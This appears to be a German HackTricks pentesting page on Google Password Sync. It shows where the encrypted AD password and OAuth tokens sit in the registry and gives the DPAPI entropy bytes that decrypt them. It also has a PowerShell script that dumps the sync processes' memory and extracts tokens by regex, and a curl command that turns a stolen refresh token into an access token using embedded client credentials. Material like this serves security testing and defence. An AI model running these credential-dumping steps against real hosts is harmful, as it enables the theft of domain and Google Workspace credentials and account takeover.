GPS - Google Password Sync

Support HackTricks

Grundinformationen

Dies ist die Binärdatei und der Dienst, den Google anbietet, um die Passwörter der Benutzer zwischen dem AD und Workspace synchronisiert zu halten. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es in Google gesetzt.

Es wird in C:\Program Files\Google\Password Sync installiert, wo Sie die Binärdatei PasswordSync.exe zur Konfiguration und password_sync_service.exe (der Dienst, der weiterhin läuft) finden können.

GPS - Konfiguration

Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, Zugriff auf ein Super Admin-Konto in Workspace zu gewähren:

  • Anmeldung über OAuth mit Google, danach wird ein Token im Registrierungseditor (verschlüsselt) gespeichert

  • Nur verfügbar auf Domänencontrollern mit GUI

  • Bereitstellung von Service Account-Anmeldeinformationen von GCP (json-Datei) mit Berechtigungen zur Verwaltung der Workspace-Benutzer

  • Sehr schlechte Idee, da diese Anmeldeinformationen niemals ablaufen und missbraucht werden könnten

  • Sehr schlechte Idee, einem SA Zugriff auf Workspace zu gewähren, da der SA in GCP kompromittiert werden könnte und es möglich wäre, zu Workspace zu pivotieren

  • Google verlangt dies für domänenkontrollierte Umgebungen ohne GUI

  • Diese Anmeldeinformationen werden ebenfalls im Registrierungseditor gespeichert

Bezüglich AD ist es möglich, anzugeben, dass der aktuelle Anwendungskontext, anonym oder einige spezifische Anmeldeinformationen verwendet werden sollen. Wenn die Option Anmeldeinformationen ausgewählt ist, wird der Benutzername in einer Datei auf der Festplatte gespeichert und das Passwort ist verschlüsselt und im Registrierungseditor gespeichert.

GPS - Dumping Passwort und Token von der Festplatte

Beachten Sie, dass Winpeas in der Lage ist, GPS zu erkennen, Informationen über die Konfiguration zu erhalten und sogar das Passwort und Token zu entschlüsseln.

In der Datei C:\ProgramData\Google\Google Apps Password Sync\config.xml ist es möglich, Teile der Konfiguration wie den baseDN des konfigurierten AD und den Benutzernamen, dessen Anmeldeinformationen verwendet werden, zu finden.

Im Registrierungseditor HKLM\Software\Google\Google Apps Password Sync ist es möglich, das verschlüsselte Refresh-Token und das verschlüsselte Passwort für den AD-Benutzer (falls vorhanden) zu finden. Darüber hinaus, wenn anstelle eines Tokens einige SA-Anmeldeinformationen verwendet werden, ist es auch möglich, diese verschlüsselt an dieser Registrierungsadresse zu finden. Die Werte in dieser Registrierung sind nur für Administratoren zugänglich.

Das verschlüsselte Passwort (falls vorhanden) befindet sich im Schlüssel ADPassword und ist mit der CryptProtectData API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese Entropie verwenden, wenn Sie die CryptUnprotectData verwenden: byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };

Das verschlüsselte Token (falls vorhanden) befindet sich im Schlüssel AuthToken und ist mit der CryptProtectData API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese Entropie verwenden, wenn Sie die CryptUnprotectData verwenden: byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b }; Darüber hinaus ist es auch mit base32hex unter Verwendung des Wörterbuchs 0123456789abcdefghijklmnopqrstv codiert.

Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Aufrufe von CryptUnprotectData und CryptProtectData zu überwachen, und dann wurde das Tool verwendet, um PasswordSync.exe zu starten und zu überwachen, das zu Beginn das konfigurierte Passwort und das Auth-Token entschlüsseln wird, und das Tool wird die Werte für die verwendete Entropie in beiden Fällen anzeigen:

Beachten Sie, dass es auch möglich ist, die entschlüsselten Werte in den Eingaben oder Ausgaben der Aufrufe dieser APIs zu sehen (für den Fall, dass Winpeas irgendwann nicht mehr funktioniert).

Falls die Passwortsynchronisierung mit SA-Anmeldeinformationen konfiguriert wurde, wird sie ebenfalls in Schlüsseln im Registrierungseditor HKLM\Software\Google\Google Apps Password Sync gespeichert.

GPS - Dumping Tokens aus dem Speicher

Genau wie bei GCPW ist es möglich, den Speicher des Prozesses von PasswordSync.exe und den Prozessen password_sync_service.exe zu dumpen, und Sie werden in der Lage sein, Refresh- und Zugriffstokens zu finden (falls sie bereits generiert wurden). Ich nehme an, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finden.

Dump PasswordSync.exe und die password_sync_service.exe Prozesse und suchen Sie nach Tokens

```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"

Regular expressions for tokens

$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )

Show EULA if it wasn't accepted yet for strings

$stringsPath

Create a directory for the dumps if it doesn't exist

if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }

Get all Chrome process IDs

$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id

Dump each Chrome process

foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }

Extract strings and search for tokens in each dump

Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $.BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }

foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }

Write-Output "" } }

</details>

### GPS - Zugriffstoken aus Aktualisierungstoken generieren

Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Geheimnis verwendet wird, die im folgenden Befehl angegeben sind:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token

GPS - Scopes

Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren.

Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.

Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem refresh_token verwendet werden können, um ein access_token zu generieren:

Last updated